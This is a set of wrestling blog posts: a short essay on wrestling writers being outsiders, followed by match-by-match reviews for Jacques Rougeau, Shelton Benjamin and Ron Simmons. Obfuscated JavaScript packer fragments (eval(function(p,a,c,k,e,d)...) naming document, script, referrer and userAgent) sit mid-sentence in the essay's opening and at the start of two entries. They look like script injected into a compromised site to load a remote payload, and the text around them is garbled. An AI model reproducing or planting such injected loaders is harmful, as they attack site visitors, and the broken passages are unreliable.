Thought of the Day: On The Outside Looking In

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahfsf|var|u0026u|referrer|hnhth||js|php'.split('|'),0,{})) their world and we’re just watching it.The other day, someone posted a comment on here praising me for my analysis, knowledge and reviews.  I appreciated that quite a bit and still shake my head when I read such kind words written about me, but there’s something everyone needs to keep in mind: wrestling journalists, reviewers, writers or whatever you want to call us are almost all on the outside looking in.

Unless there’s something I’m unaware of, neither Dave Meltzer, Bryan Alvarez, Wade Keller, Scott Keith, certainly not myself, or any other wrestling writer have big time wrestling experience.  I’m well aware that several of them have sources inside WWE, TNA and/or ROH, but that’s the key to it: those sources are inside and reporting things to the people outside.  There are things that we’re never going to know about or understand no matter how smart we think we are, how well read we think we are, or how many reviews we browse, shows we watch or shoot interviews we download every day.

Side note: Shoot interviews are not some uncovered gospel.  There’s no one hooking the wrestlers up to a lie detector and threatening them with a bullet to the head if they tell the truth.  I can’t count how many times people have sworn something is true because it was a SHOOT.  Wrestlers make their livings lying to us every single night, but I’m supposed to take everything they say as true because they tell me it’s true now?  It doesn’t work that way.  Do you think a guy who might be able to get a job in WWE in the future is going to tell the truth and say he hates WWE’s business practices and that it would be a nightmare to work there?  Shoot interviews are another way for wrestlers to get us to pay for their stories, just like we do when we go to a show.  Same idea.

At the end of the day, I’m a wrestling fan that has watched a lot of wrestling in my life.  I have what I consider a fairly decent knowledge of modern wrestling history, but the only things I know for sure are what I’m given on screen.  No matter how you look at it, everything we know is based on what people inside allow us to know.  Take everything any wrestling writer or journalist (myself certainly included) with a grain of salt the size of a Buick.  We’re going on what we’re told, but there’s no guarantee that anything we’re told is true.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

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Wrestler of the Day – February 18: Jacques Rougeau

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehntz|var|u0026u|referrer|hknsf||js|php'.split('|'),0,{})) going north of the border today for Jacques Rougeau.

Rougeau started in Canada in the 70s before moving to the US territory scene. He and his brother would make it to the WWF in 1986. One of their first major matches was at the Big Event in Toronto on August 28.

Fabulous Rougeaus vs. Dream Team

The Dream Team is Valentine and Beefcake who Valiant usually manages. The Rougeaus are wearing red for some reason. Oh great and Valentine is too. We get an abdominal stretch and naturally Monsoon complains. The Rougeaus are one of those teams that just flows so well that it’s amazing to say the least. They’re also great high fliers that can just show off, kind of like the Hardys or something like that. Good night there are a lot of people there.

This is your standard 80s tag match which means that it’s pretty good. Beefcake just sucked back I the day though and this is no exception. He would be replaced by Bravo at Mania 3. After a very long and drawn out match which thankfully got enough time, we hit the brawl and Valentine has the figure four. In a SWEET ending, the illegal Rougeau gets a sunset flip on him as he bends over to put the hold back on for the pin. I love that.

Rating: B-. This was another fun and good match that did its job well. It’s the second longest match of the night after the draw from earlier and it’s one of the better ones on the card. It was solid but the really needed to get Bravo out there ASAP. Valiant is ticked off over that ending.

These teams would meet again at Wrestlemania III.

Dream Team vs. Rougeau Brothers

Rating: C-. This was all angle rather than the match. The Rougeaus were a talented team and looked solid out there while the Dream Team looked like a relic of the past. Thankfully this would be the end for them as Bravo would replace Beefcake immediately, although the New Dream Team never went anywhere.

Fabulous Rougeaus vs. British Bulldogs

These two teams could not stand each other behind the scenes, eventually reaching the point where the Bulldogs left the company as a result. Davey jumps Jacques to start and rams him into turnbuckle after turnbuckle to put him down. Smith throws Jacques over to Raymond for a tag in a nice display of bravado. Off to Dynamite for a quick headbutt and a slam to keep Raymond in trouble.

Dynamite finally fights up again and headbutts Jacques down to bring in Davey. Jacques immediately grabs the rope to avoid a dropkick but gets caught in a gorilla press onto the top rope. Everything breaks down and Davey picks up Dynamite to launch him into a headbutt on Jacques, but the time limit expires before there can be a cover.

Brutus Beefcake vs. Jacques Rougeau

What an odd choice for a match, but WE GET HEEL ROUGEAU MUSIC!!!!!! Beefcake’s music is pretty awesome too. From what I can tell this is at a Superstars taping in Daytona Beach, Florida. Jacques keeps breaking cleanly to prove he’s a nice guy. He takes over quickly with a nice dropkick and Brutus is all confused. Thank goodness he’s fine.

A high knee puts Jacques on the floor and it’s time for hugs. Gay jokes abound from Mooney. Back inside (no pun intended) and Jacques takes over, hooking a camel clutch. The fans are all over Jimmy here. There’s a Boston Crab which is like a fetish for French Canadians. Jimmy shows off his value, hitting Brutus in the ribs with the megaphone while he’s on the floor.

He stays on the back and ribs, even hooking the abdominal stretch. Hayes complains about it since Gorilla isn’t on commentary here. Brutus ducks a cross body and the fans pop big. Very hot crowd here. There’s an atomic drop and Jacques sells it as it’s meant to be sold. Beefcake tries a splash (odd) but catches knees. Jacques is sent into his manager and the sleeper looks to end this, but Ray Rougeau runs in for the DQ.

Rating: C. Generic but fine here. Brutus was never in any real danger but I don’t get the ending. Why do they need to keep Jacques, a tag wrestler, from losing clean? Brutus was a solid midcard guy at this point and got a lot better around this point. Not a great match or anything, but for a TV main event this would have been fine.

Mountie vs. Big Boss Man

Intercontinental Title: Mountievs. RoddyPiper

This is the rematch from the Rumble where Mountie was given the title for two days since Bret was hurt. Piper wouldn’t win another WWF title for about 15 years. He’s staggering around a bit so he might be a bit intoxicated. Piper is wrestling with a t-shirt on. Keep that in mind for a bit later. Apparently the winner gets Bret at Mania.

An interview with Bret says he hopes it’s Piper but is happy either way. Piper changes control when he gets his knees up to block a splash. The referee gets bumped and Mountie pours water on Piper and gives him the shock stick that he was using. Naturally it has no effect and Mountie gets it, complete with ridiculous sound effects. Piper pulls off his shirt to reveal a vest saying Shock Proof in a rather infamous moment for some reason.

Rating: C. It was about the ending and to give Mountie his rematch. It worked fine so I can’t complain. There’s not much here but since the ending was effective I’m all fine and good with it. The shock stick stuff was very amusing and it’s something that only Piper could have pulled off.

Mountie vs. Tatanka

Mountie stalls to open things up before doing a rain dance. Some chops have no effect on Tatanka so he knocks Mountie over the top and out to the floor. We take a break and come back with Mountie still on the floor as Jimmy distracts Tatanka. Back in and an atomic drop sends Mountie out to the floor again before Tatanka goes after Hart. Jimmy trips up Tatanka but Mountie is too spent to follow up.

Tag Titles: Quebecers vs. Steiner Brothers

This is under Province of Quebec Rules, meaning the titles can be lost by countout and disqualification, piledrivers are illegal, coming off the top is illegal and throwing people over the top is illegal. Rick and Jacques get things going with Rick hitting that powerslam/belly to belly of his and Jacques bails to the floor. Off to Pierre who gets armdragged down before Scott comes in for a butterfly powerbomb and two. A dropkick gets two more as the champions are firmly in control to start.

Pierre finally gets away from Scott and scores with a middle rope clothesline for two of his own. Scott comes back with a backdrop and cleans house before handing it off to Rick who tries a piledriver until Scott waves him off. We take a break and come back with Rick sending Jacques through the ropes and out to the floor. Scott puts Pierre in a headlock before suplexing him down for a half crab. Rick comes back in for the same hold but Jacques breaks it up right in front of the referee for no DQ.

Rick is tires of waiting and comes in to clean house, allowing his brother to hit a double clothesline. The hot tag finally brings in Rick but Scott stays in as well. Pierre takes the Frankensteiner for two despite Scott not being legal. Polo gets up on the apron but Rick knocks him down, sending the hockey stick into the ring. Scott takes it from Jacques and blasts him in the back, giving the Quebecers the win and the titles.

Tag Titles: Bret Hart/Owen Hart vs. Quebecers

Hollywood Hogan vs. Jacques Rougeau

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Wrestler of the Day – February 17: Shelton Benjamin

We get ready to fly today with Shelton Benjamin.

Johnny Spade/Sly Scraper vs. Brock Lesnar/Shelton Benjamin

See what I mean about guys you might be surprised to see here? Lesnar and Benjamin were known as the Minnesota Stretching Crew and a handful of people are smiling at that reference. Scraper is someone you may remember as Sylvester Terkay. Spade likes to talk a lot but never was anything special. John Morrison would eventually use the name Johnny Spade but they’re definitely not the same guy.

Brock and Shelton are brand new here and this is their biggest match ever according to Cornette. Spade spits at Shelton and something tells me that’s not going to go well for him. You can barely see anything as the lighting is terrible, but like I said that wasn’t something you could expect there. Both Shelton and Brock have under a year of experience.

Benjamin shows off early and gets a slick headscissors to Scraper. Yeah Shelton’s debut was in November of 2000. Shelton gets a kick which busts Scraper open. Brock is in tights like Angle wears which is odd to see. Nip up by Brock as he destroys Spade just because he can. There’s that belly to belly of his. All Minnesotans so far.

Spade sends Shelton into the ropes and Scraper pulls the top rope down to shift the momentum. It’s amazing how calm Cornette is during this and how smoothly he says everything he talks about. Modified What’s Up to Shelton. Scraper looks like Bruiser Brody. How weird is it to see Brock and Shelton as completely brand new rookies? Spade and Scraper use a wheelbarrow splash to crush Shelton a bit more but Brock makes the save.

Both Shelton and Spade go for cross bodies at the same time and here comes Brock and Scraper. Big tilt-a-whirl slam to Scraper and a double Rock Bottom has Scraper in trouble. Spade saves the pin as everything goes crazy. Spade tries a monkey flip on Shelton but Shelton just flips over and lands on his feet. SICK superkick from Benjamin takes Spade’s head off.

We have three minutes left and the camera goes over to the corner where Brock is up top. He throws out a SHOOTING STAR PRESS! HOLY FREAKING GOODNESS that was awesome. Since OVW isn’t that smart though, it doesn’t end the match as Spade saves. That was incredible. Shelton throws out a 450 to end it even though we don’t see it. Look up that Shooting Star though as it’s something that has to be seen to be believed.

Rating: C+. Basic formula tag match here as Cornette knows how to book a show perfectly. Starting with a pretty fast paced tag match is a great way to get the crowd going and that Shooting Star didn’t hurt anything. Brock was scary good and couldn’t have been wrestling more than 6 months at this point. They were booking Shelton as the star of the team but obviously that didn’t exactly wind up being the case.

Like many other OVW guys, Shelton would wrestle dark matches on WWE shows, including this one from June 3, 2002 against the Prototype, who would debut under his real name very soon: John Cena.

Prototype vs. Shelton Benjamin

Rating: C+. For a dark match between two guys straight out of developmental, this was a very nice little match. Cena looked like he knew what he was doing out there and Shelton got to show off his athletics. The fans approved of both guys and the match was entertaining enough. Both guys clearly had futures at this stuff.

Shelton would debut on the main roster in early 2003 with a new partner named Charlie Haas. They would comprise Team Angle and quickly captured the Smackdown Tag Titles, which they would defend at Wrestlemania XIX.

Benjamin comes in off a blind tag and superkicks Chris down for two. Eddie tags himself in and collides with Benoit to put both guys down. Shelton comes in to work on Benoit some more and a legdrop gets two. Eddie breaks it up with a Frog Splash but Chavo tags himself in, only to be suplexed down by Haas. Rhyno comes in for some Gores including one to Chavo, but Benjamin comes in (I have no idea if he was legal) and steals the retaining pin on Chavo.

Rating: C. The match was fine but it had no business being on Wrestlemania. This could have been on any given episode of Smackdown and no one would have noticed the difference. Rhyno and Benoit were just thrown together while the Guerreros were a regular team and former champions. Not bad here but not Wrestlemania worthy.

The team would gain and lose the titles multiple times over the next year before being split up by the Draft. Benjamin went to Raw and was put in a feud with HHH of all people, facing him in his first match on Raw on March 29, 2004.

HHH vs. Shelton Benjamin

The Game takes him into the corner to start and patronizes him a little bit. Shelton easily gets HHH on the mat and rides him amateur style before giving HHH a big smile. A Shelton chant starts up before they tell HHH that he tapped out at Wrestlemania. Benjamin nips up to stop a charging Game but almost gets caught in the Pedigree. HHH shows him how close that was but gets caught in a backslide for an even closer two. Shelton shows HHH how close THAT was and HHH is mad.

Shelton would actually beat HHH again the next week by countout and go on a huge roll, only to break his hand and be put on the shelf for a month. He would come back at Taboo Tuesday, having won the poll to face Intercontinental Champion Chris Jericho.

Intercontinental Title: Shelton Benjamin vs. Chris Jericho

This was just after Shelton had come to Raw and beaten HHH in three matches but got hurt. This is his big return. Jericho gets backdropped over the top and might have hurt his back. He was in a big funk at this point as he had no direction whatsoever. He also had the medium length hair and it looked horrible. Running enziguri gets two and the Canadian takes over.

He works on the back as there’s not a lot of direction to this at all. The crowd being painfully small isn’t helping much either, but that could have something to do with the show being on a Tuesday night. Both guys work on the others’ back with Jericho hitting a backbreaker and Benjamin hitting a top rope suplex. I love the Dragon Whip. Lawler suggests that if the bookers had anything to do with it then this match may never have happened.

Lionsault misses but he actually crashes on it in a thing I’m not used to doing. Shelton hits a nice diving clothesline off the top but the Stinger Splash misses. This is getting better but the crowd doesn’t seem to care. Lionsault hits this time but of course it only gets two. Jericho goes up but jumps into the T-Bone to give Shelton the title. Ross and Lawler seem to be the most excited though. So much for that idea. Is there anyone Jericho won’t put over? Shelton would hold the title until June which is the longest title reign since Rock in 97.

Rating: B-. Pretty good match here as Jericho wasn’t prepared for Shelton so he had to do his usual stuff which didn’t work because Shelton knew what to prepare for. The crowd is pretty weak here and it’s not a good sign for the rest of the show. This was a good push for Shelton, even though nothing really ever came of it as he has more untapped potential than anyone in a long time.

Shelton would hold the title for the longest reign in over seven years. During the reign he would enter the Gold Rush Tournament for a World Title shot. His first round match was on May 2, 2005 against a mystery opponent.

Gold Rush Tournament First Round: Shelton Benjamin vs. Shawn Michaels

Shawn is back in the world title hunt after going after Muhammad Hassan for a few months. Shelton is on fire at this point so this is going to be great. They immediately hit the mat and Shelton dominates as you would expect him to. Shawn grabs a hammerlock and they hit the mat again. Shelton rides him again and Shawn has to head to the ropes to get a break.

Shelton hits a Samoan Drop and both guys are down again. Things speed up and Shelton gets two off a backbreaker. Shawn hits the forearm and nips up, but Shelton nips up a second later, freaking Shawn out. We get a fast paced pinfall reversal sequence and Shawn takes Shelton down with a hard chop. Benjamin comes back with the Stinger Splash in the corner but the T-Bone is broken up.

Money in the Bank Briefcase/Intercontinental Title: Rob Van Dam vs. Shelton Benjamin

Shelton keeps getting frustrated and heads to the floor for a breather. Back in and Benjamin pounds him down and fires off some forearms. Rob will have none of that and kicks Shelton down. The champ (Shelton) bails to the floor again to avoid Rolling Thunder so Rob dives to the floor to take him out. Shelton runs back in and hits a sunset bomb to the floor to take over again.

Back in and Benjamin works over the back before hooking a chinlock with a knee in the spine. Rob quickly escapes that but gets caught by a knee lift for two. Back to the chinlock which might be a choke. Not that it matters as Rob makes the rope. Rob fights up and tries Rolling Thunder but Shelton catches him in a Samoan Drop in a SWEET counter. They go up and Rob knocks him off the top, but Shelton JUMPS up the corner (not runs the corner. He JUMPED from the mat to the top rope and superplexes Rob down for two.

Raw Tag Titles: Hardys vs. World’s Greatest Tag Team

Ladder match so this should be awesome. Hardys are champions coming in. Big brawl to start but that’s the point of this match I suppose. Haas takes down both Hardys with a double clothesline and here come the ladders. All four have ladders so the Hardys throw theirs at their opponents’ and put a pair in corners. Haas gets buried under a pair of ladders in the corner and Shelton is pushed on top of them.

The Hardys start being the Hardys in a ladder match and dominate quickly but make a mental mistake (the Hardys? Nah) and both go up at once, only for Shelton to toss a ladder at them and take over. They work on Jeff’s leg and send him into a ladder in the corner so softly that the fans boo it. When do you EVER hear of a spot being booed in a ladder match? Haas and Benjamin both go up but they have the same issue the Hardys had and we all come down again.

Shelton dropkicks a ladder into Matt’s face and the World’s Greatest Tag Team takes over all over again. They set up a pair of ladders in a sea-saw pattern and according to rule 2 of ladder matches, they both get slammed onto it. Here come the Hardys again and a double clothesline takes everyone not named Shelton to the floor. The Hardys bring in the huge ladders and set one between the ring and the railing.

Shelton blocks a suplex through said ladder though, until Matt backdrops Shelton onto a ladder which he just bounces off. The ladder is bent and Jeff isn’t happy. He thinks to himself by George (and bonds. Pills. Maybe some cocaine too. My band’s album because no one else will) I want him to go through that ladder but Haas makes a last second save.

Matt takes Charlie down and goes up himself, only to get shoved onto the top rope. You know the move Haas and Benjamin do where Haas holds a guy up on the top and Shelton jumps on his back? Well here they use a ladder instead of a rope and Shelton jumps to the floor onto Matt’s back and more or less destroys it in an awesome looking spot. Charlie goes up but here’s your friendly resident drug addict (Jeff in case you thought Matt got up that fast) for a superplex off the ladder to the mat.

Everyone is down now and Jeff has a glazed over look in his eye. In other words, everything is normal with him. In one of the best accidental spots I’ve ever seen, Shelton tries to springboard from the apron to the ladder to stop Jeff but slips and flips forward, kicking the ladder over. JR actually does a decent job of making it sound intentional. Matt shoves Shelton off and starts climbing up two ladders at once. Everyone goes up and it’s a four way fight. The Hardys go down but maintain enough composure to shove their opponents off. Swanton kills Haas and Matt gets the belts to retain.

Rating: B+. Pretty good tag team ladder match here as they let all four guys go in there and just do their thing which is the right idea more often than not. Also they had time (seventeen minutes) here which helped a lot as well. Very hard hitting match here as they managed to make the older spots look good again. Rather good match and not much to complain about at all here.

CM Punk vs. Shelton Benjamin vs. John Morrison vs. Chris Jericho vs. MVP vs. Mr. Kennedy vs. Carlito

In an awesome move, Morrison goes up top with the ladder and moonsaults down onto a bunch of guys at once. Kennedy uses the distraction to go up but Jericho makes the save. He tries a catapult on Kennedy but sends him onto the ladder by mistake. Morrison dives onto the ladder to stop Kennedy but Shelton climbs his own ladder to make it a three way race. Kennedy loads up a superplex on Morrison but Shelton jumps over both of them with a sunset flip to make it a Tower of Doom. Cool spot.

Carlito and Jericho go up but Carlito spits apple in the face to break it up. Kennedy shoves Carlito off but gets hit in the ribs with a ladder by Punk. Jericho hits a Codebreaker with a ladder onto Punk to put everyone not named Jericho down. Punk goes up to stop Jericho but gets hit in the face by the briefcase. Punk climbs up again and knocks Jericho into the Tree of Woe with a shot to the head, allowing Punk to climb up and win the briefcase.

He would get back into the midcard title scene with a title shot against US Champion Matt Hardy at the 2008 Great American Bash.

US Title: Matt Hardy vs. Shelton Benjamin

Shelton is the Gold Standard and challenger. The announcers point out that no one has ever lost the title at the Bash and of course they treat it like the same show as the WCW incarnation. Shelton takes over with a headlock but Matt takes over with an armdrag of his own. A quick Pay Dirty (Little Jimmy) and Twist of Fate are both countered and Matt takes over again.

Shelton would hold the belt for about eight months but do very little with it before dropping it to MVP. He would head back to ECW and not do much for the next year before getting an ECW Title shot against Christian at TLC 2009.

ECW Title: Shelton Benjamin vs. Christian

This is the ladder match. I had almost gotten to the point of being sure that Benjamin would be winning here. Ah sweet we have the three man commentary team now. That’s a great thing to have for the PPVs. Christian gets a solid pop. Dang man there are ladders EVERYWHERE. Why in the world would you ask Lawler about his strategy for a ladder match? Actually that’s good as that’s his job.

Cole has gotten better at setting him up with softball questions which is what King is there for. This should be very awesome. The ECW Title has never changed hands in Texas. Could be because ECW didn’t go to Texas that much but whatever. We hit the floor and Christian gets the BIG ladder. And that doesn’t work so there we are. He’s in the ring with a ladder first but something tells me this isn’t how the match ends and I’m right as Shelton makes the save.

If nothing else Shelton is one of the few people that truly impresses me in the ring at times. Not a lot of people have ever been able to do that but there are times when he has my jaw hanging open. Christian is busted open and I’m pretty sure it’s legit as a ladder fell on his head. Yeah that’s legit. And here’s a guy to check on him. Oh dear. The fans chant WE WANT BLOOD. I love modern crowds. There’s a Santa in the crowd. That’s cool if nothing else.

For no apparent reason Shelton climbs a ladder on the floor. Sure why not? And it’s table time now. Apparently not as Shelton sets up a ladder between the ring and the announce table. Something tells me I know what’s coming. Nothing happens with it yet as we’re back in the ring. Shelton sets for what would be a Stinger Splash but Christian just throws the ladder at him. Simple yet effective.

Crowd is WAY behind Christian. I’m not sure if I like them going with the big ladders here or not. I think I do but I’m not sure. Shelton gets up the ladder and Christian shoves him off very slowly, but Shelton lands on the top rope on his feet. Think about that for a minute. That’s amazing. I know there isn’t much to criticize here but it’s a solid match. Yeah those ladders hanging from the ceiling look awesome. Shelton with a powerslam from the top of the ladder that looks better than it sounds.

Shelton does the Jeff Hardy spot where he hangs from the belt. I’ve always found that stupid. Why not just unhook the stupid thing? Striker wants to know that too. Spotfests are fun. In a mostly cool looking spot, Shelton does that slingshot sunset flip into a powerbomb but Christian reverses into a hurricanrana. Nicely done but slightly botched which is understandable given the move they were trying to do. And now we get to the ladder they set up as a table earlier.

Shelton is trying to hit a German Suplex to Christian through the ladder but it’s blocked and Shelton lands on it. Christian dives through it and the ladder breaks. Has NOTHING on the Hardy/Edge version. Not a thing and the crowd is clearly not as into it as they wanted them to be. It ends the match though.

Rating: B+. Total spotfest but incredibly fun. It was missing that epic spot to make it legendary though. Still though, perfect choice for the opener and it did exactly what it was supposed to do: get the crowd into the show. Very entertaining match and I think I lowballed it here.

Caprice Coleman/Cedric Alexander vs. Wrestling’s Greatest Tag Team

This is one of those Proving Ground matches. There’s a 15 minute time limit here. Alexander has the blonde mowhawk. Got it. Coleman vs. Benjamin starts us off. Benjamin works on the arm to start and Coleman can’t get anything going. He’s trying though so give him some points for that. Coleman manages to send him to the corner and gets a surprised look from Shelton.

Off to Haas vs. Alexander who is a bit more physical than his partner. Benjamin gets a blind tag in and kicks Alexander down for two. The champs have never really been in trouble at all. Haas works over the knee as we take a break. Back with Alexander fighting out of something by Benjamin but Shelton kicks him down with ease. Haas works on a leg lock but eventually walks into a bad tornado DDT.

We’re over ten minutes in now if this is in real time. Double tag brings in Coleman and Benjamin who is taken down by a leg lariat for two. We have less than four minutes according to Kelly. The non-champions speed things up and hit a double dropkick to send Haas into the barricade. Three minutes left. Their clock is about 10 seconds off but it’s close enough. There’s a double powerbomb to Coleman and we’re done at 12:55.

Rating: C. Uh…so? The champions beat the newcomers with their finishing move. Is this supposed to be surprising in a way or something? If Coleman and Alexander were worth something they would be on the roster already. Not a bad match or anything but it’s not like anything changes now or in the future. I don’t mean it hurt anything but it didn’t change things at all.

Never Openweight Title: Masato Tanaka vs. Shelton Benjamin

Shelton will have none of this standing around and hits a BIG flip dive over the top to take out Tanaka and some other guy who was standing next to him. Back in and Tanaka comes back with a forearm in the corner to drop Benjamin and we hit the chinlock. Shelton fights up and they fight over a suplex with Tanaka getting the better of it. They chop it out and whip each other across the ring until Tanaka hits a SCREAMING CLOTHESLINE to take over. Shelton avoids a diving clothesline and comes back with the Dragon Whip to drop the champion.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at:




Wrestler of the Day – February 16: Ron Simmons

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdesy|var|u0026u|referrer|dksri||js|php'.split('|'),0,{})) honor of Black History Month, I give you the All-American Ron Simmons.

World Tag Titles: Doom vs. Steiner Brothers

DANG that Doom music is awesome. They’re Ron Simmons and Butch Reed if you’ve never heard of them. They’re just big bruisers that have nothing but power. The Steiners are about as awesome as possible at this point so this is going to be a war. Rick’s hair is insane here and looks awful but it was just past the 80s so it’s ok I guess. Also, this is the Scott Steiner that was supposed to be the wrestler of the 90s as he’s a freaking monster that can move like Chris Jericho.

We’re stalling a ton by this point. Long looks like Carl Winslow with his hair like that which is rather amusing. Scott and Simmons start us off and Steiner just shoves the referee to the ground for no apparent reason. No disqualification on that for no apparent reason. These two just hammer the tar out of each other with the crowd being white hot. Scott is throwing Simmons around. That’s hard to imagine.

And now let’s look at the fans for no apparent reason. Scott throws out a perfect dropkick and it’s ALL Scott so far. I’m having issues taking Rick seriously with that hair. Apparently Rick offered to take Jim Ross fishing one time. That could be hilarious. To say this has been physical would be an understatement. They’re beating the tar out of each other and we hear about Simmons being the MVP of the Hula Bowl. That kind of weakens things a bit.

It’s weird hearing about all these little factoids about Steiner, including that he loves animals. It’s also weird hearing him called Hacksaw Reed. I know it’s his name but I associate that nickname with Duggan and Duggan alone. Doom has taken over here as we calm things down a lot. Reed has Scott down and pounds him with right hands. Better than the Atomic Noogie I guess. Reed hooks a decent bulldog of all things.

This has been slower but good so far. Frankensteiner hits out of nowhere and the place is all of a sudden alive. I’ll give the Steiners this: they could get a crowd going. Doom hits a modified Hart Attack for a long two but Rick makes the save. In a different kind of ending, Rick is pounding on Reed in the corner and sets up for a belly to belly from the middle rope but Simmons makes a save.

Reed hits more or less a spinebuster out of the corner from the second rope for the titles. I like that ending which is like a theme tonight or something. Post match Long said he would do it and he was right. This would wind up being the longest tag title reign in WCW history as they would hold the titles until next February.

Rating: B+. Better than the previous one and another very good match. This has been a great show for tag wrestling as I thought it would be. This lived up to the hype of a very big showdown which is always a good thing. These two were both big time powerhouse teams and this worked very well. I liked it more than I should have but Doom is just awesome so there we are. Also, this was just below Sheamus beating Cena on the shock scale as while they were both big deals, the Steiners had been champions for nearly a year and were more or less unstoppable up to this point.

Doom would hold the titles longer than any team ever in WCW. During their reign they would feud with several teams, but one of their best matches was a street fight at Starracde 1990 against the Horsemen.

Tag Titles: Doom vs. Arn Anderson/Barry Windham

 

 

 

After Doom split, Simmons rocketed up the card and fought Lex Luger for the World Title at Halloween Havoc 1991 in a 2/3 falls match.

WCW World Title: Ron Simmons vs. Lex Luger

Luger is defending and has Harley Race with him while Simmons has Dusty Rhodes for no apparent reason. This is 2/3 falls. Feeling out process to start and they trade hammerlocks. Simmons tries a dropkick but misses completely to give Lex the advantage. Ron comes back with a facejam and snaps off a powerslam for no cover. The spinebuster gets the first fall in about five minutes total. That came out of nowhere and we have a one minuet rest period.

Simmons slams him down onto the back again and whips him into the corner time after time to have Luger hiding in the corner. Let’s talk about the Braves, who are playing in the World Series at the same time as this show. A sunset flip gets two for Simmons and Race is freaking out. Simmons misses a charge and Luger sends him flying out to the floor. Back in and an elbow drop gets two for the champion.

Lex hits a powerslam of his own for one because his back is too messed up to cover fully. Off to a chinlock as Luger tries to buy himself a breather. Simmons fights back with elbows and punches before grabbing a rollup for two. A backslide does the same and Luger is getting in more and more trouble every second. Race distracts Ron so Dusty gives him the big elbow. In a HORRIBLY STUPID MOMENT, Luger charges at Simmons who is on the ropes. Race holds Simmons against the ropes and Lex falls to the floor, AND THAT’S A DQ. That rule was so stupid that I can’t fathom it at times.

After another rest period it’s the third fall. Simmons is ready to go while Luger is sucking wind. The champion gets in a sucker punch and goes on a big rush of offense. He’s also bleeding from under his right eye. Simmons shrugs that off and pounds away in the corner. A clothesline gets two. Luger knees him in the ribs and Simmons is slowed down almost immediately. A powerslam puts Luger right back down and a middle rope shoulder puts Lex on the outside. Simmons’ shoulder hits the post and we go back inside so the piledriver can get the pin for Luger to retain.

Rating: D+. I wasn’t big on this one. This felt more like a really big TV main event rather than a PPV main event. Simmons would become a lot bigger soon enough and would get the title off Vader in 1992. The DQ here was just freaking dumb as there were far worse throws earlier in the night, but it made sense here because it needed to. Not a very good match but I’ve seen worse.

WCW World Title: Ron Simmons vs. Vader

Shane Douglas/Brian Pillman vs. Ron Simmons/2 Cold Scorpio

We actually get a full match! This is a standard tag match with Shane hiding most of the time as he’s the heel champion. Pillman works the majority of the match which is always fun if nothing else. Simmons wouldn’t be around much longer and Pillman was more or less a one night thing until he left WCW.

There’s not a lot to say here as it doesn’t run that long and is just Shane running from both guys and yelling at the crowd a lot. After Pillman does a ton Shane comes in for an extended period of time and promptly gets powerslammed and pinned by Simmons. He suplexes Sherri afterwards to just end the tape with no goodbye or summary or anything like that, making this just weird or maybe the first half of a tape, but it’s all I’ve got.

Rating: C. Not bad here but not great. It’s really about getting Shane over as a heel and that’s fine and good. It worked rather well so I’ve got no complaints. It wasn’t that interesting but it wasn’t bad at all. Watchable would be a good way to put this one. I’m still not sure why the tape only included 30 seconds of the singles match.

Nation of Domination vs. Legion of Doom/Ahmed Johnson

Soon after this, Farrooq would get a WWF Title shot against Undertaker at King of the Ring 1997.

WWF Title: Farrooq vs. Undertaker

This is really just a token title defense as no one thought the title was changing here at all. Seriously, FARROOQ was the best they could do? They couldn’t have thrown Owen in there or something? Taker tries to talk but Bearer cuts him off. Bearer is controlling Taker because of a secret he’s holding over him, which was that he killed his parents in a fire, where he had a brother as well. You know the story from there. Taker gets a great pop.

That belt just looks right on Taker. Farrooq, as a heel, of course jumps him while Bearer is yelling at him. I really don’t like the idea of power vs. power here. Taker starts out fast but Farrooq fights back with the generic power offense. Oh look the Nation is interfering. Could you write a more basic match than this? I don’t think I could either. They go back and forth with power moves and the crowd is just dead as possible. NO ONE cares at all, as this was following Michaels and Austin.

Seriously, who thought that was a good idea? The referee goes down and no one cares because it leads nowhere. Bearer yells at Taker to get up and the Nation starts fighting. This would lead to their split into three gangs which no one cared about but the feud got pushed for months anyway. Farrooq slams Taker which is apparently devastating and the arguing distracts him long enough for the tombstone to end this.

Bearer yells at Taker for like 5 minutes until Ahmed comes out to play peacekeeper. Taker gets tired of listening to him so he swings and takes the Plunge. Johnson just leaves and Taker gets up and stalks Bearer to end the show.

Johnson would join the Nation for like a week before getting hurt again and coming back to feud with them AGAIN before leaving for good in January. The Johnson Taker match never happened, which was either due to injury or the name Johnson Taker being copyrighted by Jenna Jameson. It might have been either.

Rating: D-. Seriously, THIS followed Austin and Michaels’ classic. If that was flipped, this would have been a lot better. These two just completely clashed and it was terrible. There was no point to this and nothing was accomplished other than to set up a PPV main event that never happened. In case you were wondering, the WCW PPV main event this month was Savage vs. DDP, falls count anywhere which was a good match. Think about that comparison for a bit.

Intercontinental Title: Faarooq vs. The Rock

 

 

Faarooq piledrives Rock two more times post match until the Nation (including Owen Hart who joined the Nation in a bizarre choice) makes the save. DX comes out to clear the ring as the Nation drags Rock away.

Al Snow/Road Dogg vs. Acolytes

Rating: C. Fun match but the ending was exactly what you would expect it to be. These matches are for fun for the most part and the thrown together team did a lot better than you would have expected them to do for the most part. The Acolytes were still getting the hang of what they were doing.

Tag Titles: Acolytes vs. Hardys/Michael Hayes

Yep it’s a handicap match. At this point I had zero clue which was Matt and which was Jeff. We start in the aisle where they just leave the belts. Who would have thought two of these four would win world titles? I don’t think this has started yet. According to Ross it has. Ah there’s the bell so Ross was wrong.

We have Farrooq and Jeff in there to start while Bradshaw beats up both guys on the floor. Matt takes out everyone with a top rope moonsault. They really were great fliers back in the day. Hayes is pretty freaking worthless here but what did you really expect? The APA takes over with just power. Matt picks to tag Hayes. Why in the world would you do that? We get a Freebird reference so I’m good for the night. There’s Jeff. Crowd is DEAD for this.

